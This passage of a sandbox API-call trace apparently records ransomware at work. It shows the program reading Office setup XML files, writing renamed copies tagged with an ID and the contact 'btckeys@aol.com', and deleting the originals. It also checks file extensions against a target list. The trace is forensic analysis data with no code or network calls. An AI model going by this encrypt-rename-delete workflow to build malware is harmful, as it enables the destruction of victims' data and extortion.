lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0074.009] SetEndOfFile (hFile=0x174) returned 1 [0074.009] CloseHandle (hObject=0x174) returned 1 [0074.010] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0074.010] SetEndOfFile (hFile=0x1fc) returned 1 [0074.011] CloseHandle (hObject=0x1fc) returned 1 [0074.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0074.012] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0074.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0074.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0074.012] lstrlenW (lpString=".doc") returned 4 [0074.012] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.012] lstrlenW (lpString=".docx") returned 5 [0074.012] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0074.012] lstrlenW (lpString=".pdf") returned 4 [0074.012] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.012] lstrlenW (lpString=".xls") returned 4 [0074.012] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.012] lstrlenW (lpString=".xlsx") returned 5 [0074.012] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0074.012] lstrlenW (lpString=".ppt") returned 4 [0074.012] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0074.012] lstrlenW (lpString=".zip") returned 4 [0074.012] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.012] lstrlenW (lpString=".rar") returned 4 [0074.012] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.012] lstrlenW (lpString=".bz2") returned 4 [0074.012] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.012] lstrlenW (lpString=".7z") returned 3 [0074.012] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0074.013] lstrlenW (lpString=".dbf") returned 4 [0074.013] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0074.013] lstrlenW (lpString=".1cd") returned 4 [0074.013] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0074.013] lstrlenW (lpString=".jpg") returned 4 [0074.013] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0074.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0074.013] lstrlenW (lpString=".doc") returned 4 [0074.013] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.013] lstrlenW (lpString=".docx") returned 5 [0074.013] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0074.013] lstrlenW (lpString=".pdf") returned 4 [0074.013] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.013] lstrlenW (lpString=".xls") returned 4 [0074.013] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.013] lstrlenW (lpString=".xlsx") returned 5 [0074.013] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0074.013] lstrlenW (lpString=".ppt") returned 4 [0074.013] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0074.013] lstrlenW (lpString=".zip") returned 4 [0074.013] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.013] lstrlenW (lpString=".rar") returned 4 [0074.013] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.013] lstrlenW (lpString=".bz2") returned 4 [0074.013] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.013] lstrlenW (lpString=".7z") returned 3 [0074.013] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0074.014] lstrlenW (lpString=".dbf") returned 4 [0074.014] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0074.014] lstrlenW (lpString=".1cd") returned 4 [0074.014] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0074.014] lstrlenW (lpString=".jpg") returned 4 [0074.014] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.014] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0074.014] lstrlenW (lpString="SETUP.XML") returned 9 [0074.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0074.817] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1988) returned 1 [0074.817] CloseHandle (hObject=0x204) returned 1 [0074.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0074.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0074.817] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0074.817] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0074.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0074.818] GetLastError () returned 0x0 [0074.818] ReadFile (in: hFile=0x204, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x7c4, lpOverlapped=0x0) returned 1 [0074.900] WriteFile (in: hFile=0x174, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0074.901] ReadFile (in: hFile=0x204, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0074.901] WriteFile (in: hFile=0x174, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0074.901] SetEndOfFile (hFile=0x174) returned 1 [0074.901] CloseHandle (hObject=0x174) returned 1 [0074.902] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0074.902] SetEndOfFile (hFile=0x204) returned 1 [0074.903] CloseHandle (hObject=0x204) returned 1 [0074.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0074.904] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0074.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0074.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0074.904] lstrlenW (lpString=".doc") returned 4 [0074.904] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.904] lstrlenW (lpString=".docx") returned 5 [0074.904] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0074.904] lstrlenW (lpString=".pdf") returned 4 [0074.904] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.904] lstrlenW (lpString=".xls") returned 4 [0074.904] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.905] lstrlenW (lpString=".xlsx") returned 5 [0074.905] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0074.905] lstrlenW (lpString=".ppt") returned 4 [0074.905] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0074.905] lstrlenW (lpString=".zip") returned 4 [0074.905] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.905] lstrlenW (lpString=".rar") returned 4 [0074.905] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.905] lstrlenW (lpString=".bz2") returned 4 [0074.905] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.905] lstrlenW (lpString=".7z") returned 3 [0074.905] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0074.905] lstrlenW (lpString=".dbf") returned 4 [0074.905] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0074.905] lstrlenW (lpString=".1cd") returned 4 [0074.905] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0074.905] lstrlenW (lpString=".jpg") returned 4 [0074.905] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0074.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0074.905] lstrlenW (lpString=".doc") returned 4 [0074.905] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.906] lstrlenW (lpString=".docx") returned 5 [0074.906] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0074.906] lstrlenW (lpString=".pdf") returned 4 [0074.906] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.906] lstrlenW (lpString=".xls") returned 4 [0074.906] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.906] lstrlenW (lpString=".xlsx") returned 5 [0074.906] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0074.906] lstrlenW (lpString=".ppt") returned 4 [0074.906] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0074.906] lstrlenW (lpString=".zip") returned 4 [0074.906] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.906] lstrlenW (lpString=".rar") returned 4 [0074.906] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.906] lstrlenW (lpString=".bz2") returned 4 [0074.906] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.906] lstrlenW (lpString=".7z") returned 3 [0074.906] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0074.906] lstrlenW (lpString=".dbf") returned 4 [0074.906] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0074.906] lstrlenW (lpString=".1cd") returned 4 [0074.906] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0074.906] lstrlenW (lpString=".jpg") returned 4 [0074.907] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.907] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0074.907] lstrlenW (lpString="Proof.XML") returned 9 [0074.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0074.907] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1458) returned 1 [0074.907] CloseHandle (hObject=0x204) returned 1 [0074.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0074.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0074.908] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0074.908] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0074.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0074.909] GetLastError () returned 0x0 [0074.909] ReadFile (in: hFile=0x204, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5b2, lpOverlapped=0x0) returned 1 [0074.994] WriteFile (in: hFile=0x174, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0074.996] ReadFile (in: hFile=0x204, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0074.997] WriteFile (in: hFile=0x174, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0074.997] SetEndOfFile (hFile=0x174) returned 1 [0074.997] CloseHandle (hObject=0x174) returned 1 [0075.002] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0075.002] SetEndOfFile (hFile=0x204) returned 1 [0075.003] CloseHandle (hObject=0x204) returned 1 [0075.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0075.003] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0075.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0075.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0075.004] lstrlenW (lpString=".doc") returned 4 [0075.004] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.004] lstrlenW (lpString=".docx") returned 5 [0075.004] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0075.004] lstrlenW (lpString=".pdf") returned 4 [0075.004] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.004] lstrlenW (lpString=".xls") returned 4 [0075.004] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.004] lstrlenW (lpString=".xlsx") returned 5 [0075.004] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0075.004] lstrlenW (lpString=".ppt") returned 4 [0075.004] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0075.004] lstrlenW (lpString=".zip") returned 4 [0075.004] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.004] lstrlenW (lpString=".rar") returned 4 [0075.004] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.004] lstrlenW (lpString=".bz2") returned 4 [0075.004] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.004] lstrlenW (lpString=".7z") returned 3 [0075.004] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0075.005] lstrlenW (lpString=".dbf") returned 4 [0075.005] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0075.005] lstrlenW (lpString=".1cd") returned 4 [0075.005] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0075.005] lstrlenW (lpString=".jpg") returned 4 [0075.005] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0075.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0075.005] lstrlenW (lpString=".doc") returned 4 [0075.005] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.005] lstrlenW (lpString=".docx") returned 5 [0075.005] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0075.005] lstrlenW (lpString=".pdf") returned 4 [0075.005] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.005] lstrlenW (lpString=".xls") returned 4 [0075.005] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.005] lstrlenW (lpString=".xlsx") returned 5 [0075.005] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0075.005] lstrlenW (lpString=".ppt") returned 4 [0075.005] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0075.005] lstrlenW (lpString=".zip") returned 4 [0075.006] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.006] lstrlenW (lpString=".rar") returned 4 [0075.006] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.006] lstrlenW (lpString=".bz2") returned 4 [0075.006] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.006] lstrlenW (lpString=".7z") returned 3 [0075.006] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0075.006] lstrlenW (lpString=".dbf") returned 4 [0075.006] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0075.006] lstrlenW (lpString=".1cd") returned 4 [0075.006] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0075.006] lstrlenW (lpString=".jpg") returned 4 [0075.006] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.006] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0075.006] lstrlenW (lpString="Proofing.XML") returned 12 [0075.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0075.402] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=811) returned 1 [0075.402] CloseHandle (hObject=0x198) returned 1 [0075.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0075.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0075.405] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0075.405] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0075.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0075.406] GetLastError () returned 0x0 [0075.406] ReadFile (in: hFile=0x198, lpBuffer=0x3a70020, 